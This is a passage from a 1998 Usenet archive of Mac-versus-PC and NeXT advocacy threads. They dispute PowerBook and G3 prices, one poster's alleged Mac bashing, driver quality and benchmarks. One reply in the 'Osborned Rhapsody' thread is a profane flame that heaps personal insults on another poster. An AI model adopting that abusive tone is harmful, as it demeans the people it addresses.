Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: powerbooks too expensive???
Date: 22 Jun 1998 01:45:30 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6ordpq.m4l.sal@panix3.panix.com>
References: <macghod-1206981517220001@206.133.187.12> <01bd9951$02357360$c07498cf@edwint.rauland.com> <macghod-1606981303220001@206.133.187.73> <1dasruf.yvmeta5xz5ypN@pppsl518.chicagonet.net> <macghod-1806980142280001@sdn-ar-001casbarp295.dialsprint.net> <01bd9aed$4c1f7aa0$c07498cf@edwint.rauland.com> <slrn6ojoni.plc.sal@panix3.panix.com> <1daul49.wxuhrx1wimy47N@pppsl844.chicagonet.net> <slrn6ol1ff.7ec.sal@panix3.panix.com> <1daz78h.1k5p4nwk30efhN@pppsl564.chicagonet.net>
On Sun, 21 Jun 1998 20:01:19 -0600, Edwin E. Thorne <ethorne@chicagonet.net> wrote:
>> I never said that it was, and AFAIK Steve never said it either. His point
>> was that Apple had no product in that price range.
>I don't need to be told what his point was, thank you, I've seen enough
>of his posts to know what that is.
Why are you wasting everyone's time for then? Steve was complaining that
he could not get a Mac for his $1300 budget. When he wound a Mac in that
price range, he bought it. How is this Mac bashing?
>> Great. Now, do you think Apple should build Performa 6400's till the
>> end of the world, or should they try and build better machines?
>That's a silly question. Apple was building "better" machines at the
>time that I bought my Performa, and I was well aware of that fact.
Then why do you object to his posts that Apple should build better
machines?
>> Prove it. Show me the posts. Forward me some quotes. From *all* of the
>> posts that I've seen, Steve has been saying that Apple lacked a product
>> in the $1k US range, not that cheap PCs are better than Macs.
>The posts are in the Deja News record for you to see, there is no need
>for me to dredge them up for you. Just do a power search from Januraury
>to May of this year on macghod@concentric.net and read what comes up.
I've been reading all the posts he has made (that were xposted to the next
newsgroups) since last year. At no time did I see any posts that fit
your description.
I even responded to a few posts he made. In some cases I debated against,
and in some cases I debated for what he posted. I've even exchanged email
with him. I don't think he is a mac basher at all. From waht I seen, he
is very fair and very objective.
>If that doesn't prove me correct to you, then all I can say is you have
>your opinion, and I have mine.
Fair enough.
>I've reposted three of macghod's messages in one of my replies to Steve
>(macghod) elsewhere in this thread, BTW
I just might respond if those posts make it to the NeXT newsgroups...
--
sal@panix.com
Salvatore Denaro
From: TheLidlessEyeTh@Sees.All (The Doom That Came To Usenet)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody! Oh no! They've Osborned Rhapsody!
Date: Mon, 22 Jun 1998 00:20:24 -0500
Organization: Cthulhu's Witness
Message-ID: <TheLidlessEyeTh-2206980020250001@digital-01-109.hou.neoworld.net>
References: <1daqn7l.1gvycs7414ru6N@dialup116-1-29.swipnet.se> <B1AC4CB9-13EA4@206.165.43.4> <6m72rr$8q5$1@cronkite.cygnus.com> <35872ab1.0@news.together.net> <TheLidlessEyeTh-1706980041330001@digital-00-41.hou.neoworld.net> <358882f9.0@news.together.net> <TheLidlessEyeTh-1806980045210001@digital-00-47.hou.neoworld.net> <3589d65c.0@news.together.net> <TheLidlessEyeTh-2006980111350001@digital-00-32.hou.neoworld.net> <358c12b0.0@news.together.net> <TheLidlessEyeTh-2106980132480001@digital-01-110.hou.neoworld.net> <358d5905.0@news.together.net>
In article <358d5905.0@news.together.net>, "Lance Togar" <ltogar@msn.com> wrote:
>>>Bullshit.
>>>Nobody's harder on Apple than Mac users.
>>>Nobody.
>>..
>>>It comes from years of having your expectations raised, then dashed.
>>..
>>So, how many times does it take before you take your wallet elsewhere?
>>Apple's interest is in milking what's left of its user base. Isn't that
>>obvious to you by now?
LOL.
Like Microsoft isn't milking every last drop out of you assholes with these
maintenance releases passed off as operating system upgrades.
Don't give this shit about being privy to all sorts of beta software.
Microsoft charged $30 for Win 98 beta 3.
If you didn't pay for it then you're a software pirate.
I guess that's part of the attraction, isn't it?
Sure, buy the cheap hardware, 'cause there's a plentiful supply of "free"
software floating around.
Hey, I hear you guys finally got OS-level multiple monitor support.
I know, I know, it's not a useful feature until Microsoft decides that it is
and builds support for it into an upgrade.
Then you guys rave about how it's the greatest thing since sliced bread, and
how you practically invented it.
We can see you coming a mile away.
>>..
>>..
>>>It's the _ computer_ that keeps us hanging in here year after year, not the
>>>company, moron.
>>>You need to learn to separate the two.
>>..
>>Ya, OK, so who's the moron again?
Er, for starters, maybe the guy who can't spell "yeah"?
>>..
>>..
>><SNIP, poster snips so much that it's less clear than ever what he's talking
>>about>
>>>
>>>.
>>>>>>Yet you've just admitted to owning several.
>>>>>>Okay, so you own Macs, you just don't use them, I guess.
>>>>>..
>>>>>Sometimes. The others are for parts.
>>>
>>>I thought you said the hardware was shit.
>>..
>>Here's another classic. Naturally, I didn't write anything of the sort.
Ah, more revisionist backspin.
How the fuck would you know if you wrote it or not?
You can't seem to keep your posts straight from one post to the next.
I'm not posting 1000 lines of your bullshit just because you lost your place.
Lance: "Now lessee, he said yes, I said no, then he said yes, I said
this-no, wait,
he said no, I said yes- doh!"
>>..
>>..
>>>Why would you be parting them out?
>>..
>>Ah..... to repair other computers.... maybe? Works for me.
You use parts from your own Macintosh computers to repair the computers
others own?
I would say that's right neighborly of you, if I didn't know that you're
lying out of your ass.
>>..
>>..
>>>>>My point was that you seem to think this isn't true. I was simply
>>pointing
>>>>>out that it is.
>>>
>>>No, you were pointing out that Macs use the same parts, and are
>>>constructed very much the same
>>>way as PCs.
>>>They're not,in fact, Macs use certain Mac-specific parts, that's why part
>>>replacement is more
>>>expensive.
>>..
>>Examples (other than the overpriced floppy drive)???
Well, how 'bout this 4 meg Apple ROM for starters?
The dozen or so Apple logic chipsets scattered throughout the boards?
Know of any PCs using the Motorola PPC 750?
Note I said "Apple-specific", shithead, not Apple-manufactured.
>>..
>>..
>>>Tell ya what.
>>>We'll play along with your supposition.
>>>If Macs have basically the same parts and are constructed the same way as
>>>PCs, then it
>>>follows that they would be of the same quality: good, poor or otherwise
>>>(they're not, of course).
>>..
>>They are, of course, but there's more:
Why-becuase you say they are?
You'll have to do better than that.
Since you've advanced this preposterous notion, it's up to you to provide
factual basis for it, you lazy shit.
You put up your "proof," and I'll shoot it down.
>>..
>>>Yet you maintain that PCs are actually superior to the Mac in terms of
>>quality.
>>..
>>Here's another classic. Naturally, I didn't write anything of the sort.
Like I said, shit-fer-brains, you're losing track of what you said is your
problem,
not mine.
This is another typical Wintel troll ploy: the sudden post amnesia that
overtakes Lance
when he is suddenly made aware that he's totally full of shit.
>>..
>>>How can they be, when both machines are constructed the same way with the
>>>same parts?
>>..
>>You answered your own question (again), they aren't of course.
You said Macs use the same parts as PCs.
Look at what you wrote above, fuckhead.
Now you're saying they're not.
Make up your fucking mind, you little shit.
>>..
>>..
>>>Oops, sorry, guess I done blowed a hole in your purty logic.
>>>
>>..
>>Oooops, your just getting more and more lost.
How old are you, Lance?
Are you out of high school yet?
They let you graduate with your piss-poor grammar and spelling?
It's "you're", not your.
Christ, you're really this fucking stupid, yet you have the nerve to
assume a patronizing air?
You know, you're a waste of time and bandwidth.
You know nothing about PCs, let alone Macs, and you're tripping over these
stupid-assed mistakes while trying to maintain that you're not desperately
full of shit.
>>..
>>..
>>>>>>It doesn't mean they're all going to be defective if one of them is, or
>>>>>>even several.
>>>>>>Therefore, by asserting that you can make a blanket generalisation
>>>>>regarding the
>>>>>>quality of the whole by the quality of the one, your logic is faulty.
>>>>>..
>>>>>No, your reading is defective. I didn't write anything like that.
>>>
>>>Bullshit.
>>>Now you're backpedaling.
>>..
>>I guess so but what would you expect when you insist on misquoting and
>>misrepresenting what I write?
Redundant.
I'm arguing with a 'bot.
>>..
>>.
>>>What a surprise.
>>>
>>>
>>>
>>>>>There's not much to backup thus far.
>>>
>>>You said it!
>>..
>>Well, maybe, but you seem to be having trouble finding where. Newsreader
>>issue perhaps?
There's no sport in slapping you down every time you blunder into another post.
>>..
>>..
>>> I mean, you haven't said anything
>>>>>specific about anything execpt, perhaps, that Apple hardware is in some
>>way
>>>>>superior to the likes of Dell, Gateway & HP which simply isn't the case.
>>>
>>>Sure it is.
>>>Ethernet, SCSI and RISC performance come standard with even the
>>>entry-level Macs.
>>>They don't with the HPs, Dells and Gateways of the Wintel world.
>>>Those are extras, Lance old boy.
>>..
>>Why don't you WAKEUP? Ethernet & SCSI (not the 5380 entry level Mac crap)
>>are low cost add ons for all the computers you mentioned.
Add-ons = extras.
They don't come standard.
Clue: you must pay extra for them.
Am I going too fast for you?
*Everybody*
>>(including Apple) knows that entry level machines are much better served by
>>EIDE and *certainly* not everyone should pay for built-in (low performance)
>>ethernet they may never use.
You don't know enough about what you are talking about for me to even
waste my time
and space on this newsgroup explaining this to you.
Run along.
RISC performance? Well, in case you missed it,
>>CISC is doing very well thanks.
Well, if you're willing to settle for a lower level of performance than I
am, that's your
prerogative.
So, to summarize, adding bargain basement
>>SCSI and ethernet to a motherboard isn't an indication of hardware
>>superiority.
Wrong, buttcheese.
When "bargain basement SCSI and Ethernet" are superior to to UDMA's
sustained transfer rates, not excepting
burst throughput, and vastly superior to the throughput offered by the EPP
parallel interface or no
built-in networking capability at all, that's a simple indication of
superior hardware capability and performance.
That remark only proves that you're a dumbass.
I'm sure all but the most ignorant Wintel sycophants will probably
distance themselves from you after
your last absurdity.
In fact, it's a consumer liability sense they're forced to pay
>>for something they may never use and with Apple there's no choice.
Who cares if you may never use it?
It's there if you need it, it doesn't take up any "addresses" that might
be used by other "necessary"
hardware as with PCs, and you don't pay extra for having it present.
I think you mean " drawback for the consumer," not "liability."
That's a poor choice of words there, Lance old boy.
Face it: you're lying out of your ass for the umpteenth time about having
any real exposure
to Macintosh computers or the Macintosh operating system.
-el
--
Diplomacy: the fine art of saying "nice doggie" while you're looking for a rock.
"You further a terrible reputation for Macintosh loyalists everywhere."
- Tom Vilot (tjv at indra dot com)
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 22 Jun 1998 00:33:15 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6or9ib.h0d.sal@panix3.panix.com>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <35886DDA.36EBE8F7@nstar.net> <slrn6oh598.p7f.sal@panix3.panix.com> <358B2EA3.58A5FA0F@spamtoNull.com>
On Sat, 20 Jun 1998 03:34:03 GMT, Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>Actually, the *buggiest* drivers by far in my experience have always
>been ATI drivers.
Buggy PC drivers mean nothing to Mac users.
> They are terrible. Matrox, on the other hand, puts out
>very bugless drivers on a fairly regular basis. 3dfx rarely puts out
>buggy anything, but nowhere near the 90-day frequency. It all depends on
-------------------------------------------------------^^^^^^^^^^^^^^^^^^^^
>the company.
^^^^^^^^^^^^
That was my point.
>20%? Try like 100%-200%! that's *much more like it*. Everybody knows
>that ATI has fudged their drivers by optimizing them for specific
>benchmarks. When the comparisons are made with real software in both
>framerate and visual quality, ATI drops *drastically* below the
>benchmark numbers.
Can you supply proof?
--
sal@panix.com
Salvatore Denaro
From: ethorne@chicagonet.net (Edwin E. Thorne)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.portables,comp.sys.mac.hardware.misc,comp.sys.next.advocacy
Subject: Re: powerbooks too expensive???
Date: Sun, 21 Jun 1998 20:01:06 -0600
Organization: ISPNews http://ispnews.com
Message-ID: <1dayl8u.15m6dyx1hpuo3N@pppsl564.chicagonet.net>
References: <macghod-1206981517220001@206.133.187.12> <01bd9951$02357360$c07498cf@edwint.rauland.com> <macghod-1606981303220001@206.133.187.73> <1dasruf.yvmeta5xz5ypN@pppsl518.chicagonet.net> <macghod-1806980142280001@sdn-ar-001casbarp295.dialsprint.net> <01bd9aed$4c1f7aa0$c07498cf@edwint.rauland.com> <macghod-2106980128060001@sdn-ar-001casbarp119.dialsprint.net>
NNTP-Posting-Date: 22 Jun 1998 01:01:52 GMT
Steve Sullivan <macghod@concentric.net> wrote:
> In article <01bd9aed$4c1f7aa0$c07498cf@edwint.rauland.com>, "Edwin E.
> Thorne" <edwin.thorne@rauland.com> wrote:
>
> > Steve Sullivan <macghod@concentric.net> wrote in article
>
> > > Really? Where did I say I like cheap pc's? I gave the price of current
> > > pc's, and said they were quite tempting given how AWESOME openstep is.
Three messages of yours are pasted in below were you favor cheap PCs.
Enjoy.
> > You did far more than that. You bashed the Mac and the Mac OS, while
> > telling us what a "great bargain" PCs are.
>
>
> I did no such thing
Yes you did. Please read the examples below.
>
> > > You started crying since I said Openstep is a much more stable os than
> > the
> > > macos.
> >
> > I did no such thing. I just told you not to advertise PCs on a Mac news
> > group.
>
> Oh ok. I didnt realize you were in charge.
Is that your way of admitting to lying? Because I never "started
crying" about Openstep being more stable. And you know it. My
argument has always been against advocating and advertising PC hardware
on a Mac NG. And you know that too.
BTW, you once responded that you could post anything you want here.
Well, Mr. Truthful, it seems you think that to be a privilege that
belongs to you alone. Commentary by you on the posts of others is, of
course, quite alright. Commnents on YOUR posts are another matter
entirely, yes?
>
>
> >I said you shouldn't discuss alternative PC operating systems on a
> > Mac NG, but that discussing OpenStep and NeXT would be fine *IF* you were
> > running them on a Mac. A Mac NG is for the Mac OS, or the Mac hardware,
> > or both, but not for neither.
> >
> > > How long have you used Openstep?
> >
> > I've never used it, but I have no objection to it on a Macintosh.
> >
> > >
> > > I still dont see what "the laugh" is about? A p2 300 running openstep is
> > > a DAMN FINE machine. I was able to get a g3 for about $1200, so I jumped
> > > on it. Again, I see no inconsistencies....
> >
> > Well, let's open your eyes. You constantly boasted what a great deal
> > sub-$1K PCs are,
>
> Nope. I never even talked about sub $1k machines. I was in the market
> for a machine about as fast as a g3 233. A p2 300 is about as fast. A p2
> 300 with 64 megs of ram, at least a 4 gig hard drive, a decent video card
> that openstep supports, with at least 4 megs of vram, was not a sub $1k
> machine. In fact the one I posted the specs on was $1300 with 17 inch
> monitor.
Perhaps you'd like to reread three of your posts that I've pasted in
below, that advocate PCs that are slightly above, at, and below $1K?
Quoted message #1:
Subject: Re: I have a $1600 g3 and people think pcs are cheaper.
From: macghod@concentric.net
Date: 1998/05/03
Message-ID: <6iicui$rns$1@newsfep4.sprintmail.com>
Newsgroups: comp.sys.mac.advocacy
[More Headers]
[Subscribe to comp.sys.mac.advocacy]
In <6ii07b$caq@mozo.cc.purdue.edu> Your Name wrote:
> You guys try and find me a cheap PII upgradeble notebook PC.
> At Apple you can get one for less than $2500.
I am sorry, at the $2500 mark and above pc notebooks simply cant
compare.
Of course the $1000 active matrix NEW pc notebooks are much better than
apples low end. But no pc can even compare to even the old g3 powerbook
speed wise
--
running on a PC with OPENSTEP, the year 2000 bug-free operating system
NeXTMail and MIME OK!
End of quoted message #1.
See your message up there? Of course, it says, $IK PC notebooks are
much better than low end Macs. Guess what? You bought a low end Mac,
and the discount is besides the point.
Quoted message # 2:
Subject: A bad aspect of macs
From: macghod@concentric.net
Date: 1998/05/01
Message-ID: <6ibl6v$6m$2@newsfep2.sprintmail.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac
[More Headers]
[Subscribe to comp.sys.mac.advocacy]
The price. For instance, you can get a k6 233 with 64 megs ram, 4 gig
hard drive, cd rom, 4 meg video card BRAND NEW for $900. It runs
OPENSTEP GREAT! What mac can you buy brand new, that has 64 megs ram, 4
gig hard drive (or if its a scsi 2 gig is acceptable) 4 meg video, runs
rhapsody, for $900 new?!?!?
If you want to argue g3's, a g3 minitower at 233 mhz, will be about
$2600 with similiar features as a p2 400 for $2200. Guess what, the p2
400 is faster. So its faster AND less expensive. What else matters?
--
running on a PC with OPENSTEP, the year 2000 bug-free operating system
NeXTMail and MIME OK!
End of qouted message #2.
See that message up there? See how you talk about how great of a deal
a $900 PC is? Tell me, would that be the sub-$1K PC that Mr. Truthful
says he never mentioned?
Quoted message #3.
Subject: Re: Chew on this, Merced dreamers.
From: macghod@concentric.net (macghod)
Date: 1998/02/10
Message-ID: <macghod-1002982321230001@ts015d31.lap-ca.concentric.net>
Newsgroups: comp.sys.mac.advocacy
[More Headers]
[Subscribe to comp.sys.mac.advocacy]
In article <6br082$e6k@lehi.kuentos.guam.net>, crobato@kuentos.guam.net
(Robato Yao) wrote:
> >No, I think that proves that "buck" is important all by itself. Those
> >systems don't have much bang at all (no L2 in some of them, for example).
>
> Or they use cheap CPUs like Cyrix MediaGX or Intel P166MMX. Cheapest
> Mac clone, brand new not refurbished, has at least 200MHz 603e CPU.
True. And those are fairly slower than a 603.
Tho in the $1000 area you can get a nicely decked amd k6 233 (pentium 2
233 speed except for floating point, right?) with 64 megs ram and 4 gig
hard drive and 83 mhz bus
My roommate is getting the following nicely decked k6, and I will be
interested in seeing how it compares to a 8600 233 and a g3 233 given
its
low price (this one is actually about $1100, but with all its ram, hd,
graphics card etc it is a very good deal. Now if apple had its all in
one
g3 out NOW or about to be out in the near future for about $1000 I would
be raving the heck out of it, unfortunately..... I will also be
interested in how BE with its mac emulator will work
AMD K6 233MHz Processor
Shuttle HOT569 TX 83Mhz 512k Motherboard (Best rated TX board by Anand's
Hardware Page) 64MB 10ns SDRAM Expandable to 256MB
Jaton Blaze 3D 64bit 4MB SGRAM w/ TV output Graphics Accelerator
Western Digital 4.3GB 33MB/sec Max Ultra DMA Hard Drive
24X Max Panasonic CD-ROM
Mitsumi 1.44 Floppy Drive
Ensoniq AudioPCI Wavetable Audio
NEW! Benwin 717 3D w/ 240W PMPO Speakers
Amjet 56K Voice Modem w/ X2 Technology
Aopen 250W AT Mini-Mid Tower Case
Mitsumi Win95 104 Keyboard
Genius NET Mouse (Microsoft Intellimouse compatible)
Goose Neck Microphone
Microsoft Windows 95 OSR2
NOVELL Perfect Works (Wordprocessor,Spreadsheet, Database, Draw &
Paint).
End of quoted message #3.
This one above is about PCs at $1100, or in other words, cheap PCs. If
you were "raving the heck" out of that $1200 G3 that you bought, as you
said you would do in that message, I must confess to overlooking those
posts. Will you admit there are none? I don't think there's any way I
can cut and paste to prove something doesn't exist.
Besides the above three were you are four square in favor of cheap PCs
over Macs, there are many little snippets in messages made by you from
January to May of this year that say or imply the same thing. Will you
admit saying that getting your father a cheap PC would give you a chance
to learn Windows 95, or do I have to cut and paste everything to get you
to admit to the truth you claim you're here to present?
> >and now you bought a Mac for more, after fighting Joe
> > Ragosta tooth and nail when he told you that a G3 could be had for the
> > price you paid.
>
>
> Does getting the facts right even concern you in the least? I paid $1200
> plus shipping for it, $1250 out the door. Can you name ONE authorized
> apple dealer who sells it for under $1550? The g3 233 goes for about
> $1600. THe wholesale price is about $1500 for resellers in the US. Some
> unauthorized resellers get g3's from "other" sources and sell them for
> about $1500. These places are being actively fought by APple, and you may
> not even be able to buy a g3 from them anymore for this price, due to
> operation starlight.
>
> Joe said you could get a g3 233 for $1400. He later explained this as a
> bad habit he got from his wife, see the lowest price on g3's was about
> $1490 (greymarket) and he has a bad habit of truncating it instead of
> properly rounding.
Your quibbling on a minor point. Joe tried hard to convince you that
G3 Macs are a good deal, and you fought him every inch of the way. I
grant I was $200 off, but the main point remains.
Not only did you post favoring PCs, you slammed Steve Jobs and Apple
every chance that you got. It was really quite strange, when you come
down to it, that you on the one hand thought Steve Jobs is incompetent,
and yet used him as an example of someone using NeXT on a PC to back
your advocacy of it.
To your credit, I'll have to admit that I did see many of your postings
that I agreed with, as I searched for the proof you asked for. I saw
messages asking for work as a Mac programmer, for Mac programming
manuals, and messages challenging FUD. But balanced against these are
all the messages harping on low Apple market share, and how bad Apple
management is. You've played both ends against the middle. It makes
it very hard to accept your opinions on anything after that. Given the
dim outlook you expressed many times on Apple's future, it's hard to
understand why you'd buy a Mac at ANY price.
Edwin
------------------------------------------------
Created on an Apple Macintosh Performa 6400/180
From: bgrubb@zianet.com (Bruce L. Grubb)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Sun, 21 Jun 1998 19:25:04 -0600
Organization: Southwest Cyberport
Message-ID: <bgrubb-2106981925050001@lc183.zianet.com>
References: <joe.ragosta-1906981305340001@wil53.dol.net> <B1B0B7F3-61E7C@206.165.43.175> <joe.ragosta-2006980712410001@elk32.dol.net> <6mha18$l86$1@hecate.umd.edu> <bgrubb-2106981119150001@lc094.zianet.com> <6mjokn$37e$1@hecate.umd.edu>
In article <6mjokn$37e$1@hecate.umd.edu>,
davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang) wrote:
>Bruce L. Grubb (bgrubb@zianet.com) wrote:
>: There are simply too many factors involved to get a computer simply by
>: what the SPECs are. Unless you have the OS-RAM-cache-hardware information
>: that goes along with the SPECs the numbers are useless.
>
>SPECs are not the end all and be all of benchmarks. Nothing is, but it is
>not a measure of "IDEAL" performance either.
That is the way SPECmarks are being used in the computer magazines. How
often is the improtant conficguration information retained
>It has always been the SPEC rules that along
>with every SPECmark submission that OS-RAM-cache-hardware information
>be disclosed, else, as you say, those scores are useless.
And how often is that accually done? Far too often it is stated that
'chip CPU has SPECmark such and such' which as we both know is drivel. A
chip CPU by itself cannot have a SPECmark - it needs additional hardware
as well as software to do the benchmark.
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <IC8aNjan9GA.119@cidintnews.infosel.com.mx>
Control: cancel <IC8aNjan9GA.119@cidintnews.infosel.com.mx>
Date: 22 Jun 1998 06:44:38 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.IC8aNjan9GA.119@cidintnews.infosel.com.mx>
Sender: Car
Article cancelled as EMP/ECP, exceeding a BI of 20.
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Please include the X-CosmoTraq header of this message in any correspondence
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From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.portables,comp.sys.mac.hardware.misc,comp.sys.next.advocacy
Subject: Re: powerbooks too expensive???
Date: Mon, 22 Jun 1998 01:01:59 -0700
Organization: Great till Apple got rid of the newton
Message-ID: <macghod-2206980102010001@sdn-ar-001casbarp157.dialsprint.net>
References: <macghod-1206981517220001@206.133.187.12> <01bd9951$02357360$c07498cf@edwint.rauland.com> <macghod-1606981303220001@206.133.187.73> <1dasruf.yvmeta5xz5ypN@pppsl518.chicagonet.net> <macghod-1806980142280001@sdn-ar-001casbarp295.dialsprint.net> <01bd9aed$4c1f7aa0$c07498cf@edwint.rauland.com> <macghod-2106980128060001@sdn-ar-001casbarp119.dialsprint.net> <1dayl8u.15m6dyx1hpuo3N@pppsl564.chicagonet.net>
> Perhaps you'd like to reread three of your posts that I've pasted in
> below, that advocate PCs that are slightly above, at, and below $1K?
>
>
> Quoted message #1:
>
> Subject: Re: I have a $1600 g3 and people think pcs are cheaper.
> From: macghod@concentric.net
> Date: 1998/05/03
> Message-ID: <6iicui$rns$1@newsfep4.sprintmail.com>
> Newsgroups: comp.sys.mac.advocacy
> [More Headers]
> [Subscribe to comp.sys.mac.advocacy]
>
>
> In <6ii07b$caq@mozo.cc.purdue.edu> Your Name wrote:
>
> > You guys try and find me a cheap PII upgradeble notebook PC.
> > At Apple you can get one for less than $2500.
>
> I am sorry, at the $2500 mark and above pc notebooks simply cant
> compare.
> Of course the $1000 active matrix NEW pc notebooks are much better than
> apples low end. But no pc can even compare to even the old g3 powerbook
> speed wise
Thats for a notebook.
> running on a PC with OPENSTEP, the year 2000 bug-free operating system
> NeXTMail and MIME OK!
>
> End of quoted message #1.
>
> See your message up there? Of course, it says, $IK PC notebooks are
> much better than low end Macs. Guess what? You bought a low end Mac,
> and the discount is besides the point.
Thats apples and oranges. And that has nothing to do with g3's. That
merely said a $1000 active matrix pc at 133 mhz is a better value than a
133 mhz 1400 for $2000, which is about how much it cost.
> Quoted message # 2:
>
> Subject: A bad aspect of macs
> From: macghod@concentric.net
> Date: 1998/05/01
> Message-ID: <6ibl6v$6m$2@newsfep2.sprintmail.com>
> Newsgroups: comp.sys.mac.advocacy,comp.sys.mac
> [More Headers]
> [Subscribe to comp.sys.mac.advocacy]
>
>
>
> The price. For instance, you can get a k6 233 with 64 megs ram, 4 gig
> hard drive, cd rom, 4 meg video card BRAND NEW for $900. It runs
> OPENSTEP GREAT! What mac can you buy brand new, that has 64 megs ram, 4
> gig hard drive (or if its a scsi 2 gig is acceptable) 4 meg video, runs
> rhapsody, for $900 new?!?!?
>
> If you want to argue g3's, a g3 minitower at 233 mhz, will be about
> $2600 with similiar features as a p2 400 for $2200. Guess what, the p2
> 400 is faster. So its faster AND less expensive. What else matters?
>
> --
> running on a PC with OPENSTEP, the year 2000 bug-free operating system
> NeXTMail and MIME OK!
>
> End of qouted message #2.
>
> See that message up there? See how you talk about how great of a deal
> a $900 PC is? Tell me, would that be the sub-$1K PC that Mr. Truthful
> says he never mentioned?
Its a ok deal. That particuliar system is what my roommate has. I
wouldnt compare it to a g3 tho, since you need about a p2 300 to be
equivalent to a g3 233.
> Quoted message #3.
>
> Subject: Re: Chew on this, Merced dreamers.
> From: macghod@concentric.net (macghod)
> Date: 1998/02/10
> Message-ID: <macghod-1002982321230001@ts015d31.lap-ca.concentric.net>
> Newsgroups: comp.sys.mac.advocacy
> [More Headers]
> [Subscribe to comp.sys.mac.advocacy]
>
>
> In article <6br082$e6k@lehi.kuentos.guam.net>, crobato@kuentos.guam.net
> (Robato Yao) wrote:
>
>
> > >No, I think that proves that "buck" is important all by itself. Those
> > >systems don't have much bang at all (no L2 in some of them, for example).
> >
> > Or they use cheap CPUs like Cyrix MediaGX or Intel P166MMX. Cheapest
> > Mac clone, brand new not refurbished, has at least 200MHz 603e CPU.
>
>
> True. And those are fairly slower than a 603.
>
> Tho in the $1000 area you can get a nicely decked amd k6 233 (pentium 2
> 233 speed except for floating point, right?) with 64 megs ram and 4 gig
> hard drive and 83 mhz bus
>
> This one above is about PCs at $1100, or in other words, cheap PCs. If
> you were "raving the heck" out of that $1200 G3 that you bought, as you
> said you would do in that message, I must confess to overlooking those
> posts. Will you admit there are none? I don't think there's any way I
> can cut and paste to prove something doesn't exist.
That was many many months ago.
And no I stand by everything I said. That k6 running openstep was a DAMN
FINE MACHINE!! But by now it is way bellow $900, and so is the
performance for what I would want.
> Besides the above three were you are four square in favor of cheap PCs
> over Macs,
No, this is absolutely wrong. I am not in favor of buying a brand new p2
300 with 64 megs ram, a minitower case with 4 bays, a good video card that
works well with openstep/rhapsody and has at least 4 megs of vram, at
least a 4 gig hard drive instead of a similiarly configured g3 at the same
price.
But chances are it wont be at the same price. A p2 300 like the above
will cost about $1200, and it will run rhapsody or openstep awesome. If
you can get a g3 for $1200, take it. Chances are you wont be able to.
> there are many little snippets in messages made by you from
> January to May of this year that say or imply the same thing. Will you
> admit saying that getting your father a cheap PC would give you a chance
> to learn Windows 95, or do I have to cut and paste everything to get you
> to admit to the truth you claim you're here to present?
Sure I will admit that.
> > >and now you bought a Mac for more, after fighting Joe
> > > Ragosta tooth and nail when he told you that a G3 could be had for the
> > > price you paid.
> >
> >
> > Does getting the facts right even concern you in the least? I paid $1200
> > plus shipping for it, $1250 out the door. Can you name ONE authorized
> > apple dealer who sells it for under $1550? The g3 233 goes for about
> > $1600. THe wholesale price is about $1500 for resellers in the US. Some
> > unauthorized resellers get g3's from "other" sources and sell them for
> > about $1500. These places are being actively fought by APple, and you may
> > not even be able to buy a g3 from them anymore for this price, due to
> > operation starlight.
> >
> > Joe said you could get a g3 233 for $1400. He later explained this as a
> > bad habit he got from his wife, see the lowest price on g3's was about
> > $1490 (greymarket) and he has a bad habit of truncating it instead of
> > properly rounding.
>
> Your quibbling on a minor point. Joe tried hard to convince you that
> G3 Macs are a good deal, and you fought him every inch of the way. I
> grant I was $200 off, but the main point remains.
And for someone who wants to run openstep, I still dont think $1700 is a
good deal.
I bought it for $1200 ($1250 out the door), a g3 costs about $1550 (about
$1650 out the door), thats $350 difference. And it was also $350 I didnt
have. I did have $1250.
> Not only did you post favoring PCs, you slammed Steve Jobs and Apple
> every chance that you got. It was really quite strange, when you come
> down to it, that you on the one hand thought Steve Jobs is incompetent,
No, I never said he was incompetent. I did say if reports about him were
true, then I would be uncomfortable with the actions. Specifically the
reports of how he treated interviewees.
> and yet used him as an example of someone using NeXT on a PC to back
> your advocacy of it.
I am not a pc advocate. THo the good deals one can get on a pc may be
good for some to use openstep.
I stand by almsot every post I have made. The only posts that I dont
stand by are related to the steve jobs interview story, where I was very
out of line to another person. This person basically defended how steve
treated this lady, and I acted similiar to how he acted, in my mind I was
exemplifying how wrong jobs action was, if it was true. THis was in bad
taste, so if you want to make me feel bad you can attack me on that, but
trying to make me feel bad for anything about the costs of p2's will have
no effect.
--
So many pedestrians, so little time.
From: wilkie@cg.tuwien.ac.at (Alexander Wilkie)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Date: 22 Jun 1998 08:56:51 GMT
Organization: Vienna University of Technology, Austria
Message-ID: <6ml68j$6ik$1@news.tuwien.ac.at>
References: <6mkd25$8c44@odie.mcleod.net> <6mku6n$lk61@odie.mcleod.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: buck.erik@mcleod.net
In <6mku6n$lk61@odie.mcleod.net> "Michelle L. Buck" wrote:
> Read the WWDC Carbon session notes. It is really depressing. A lot of
work
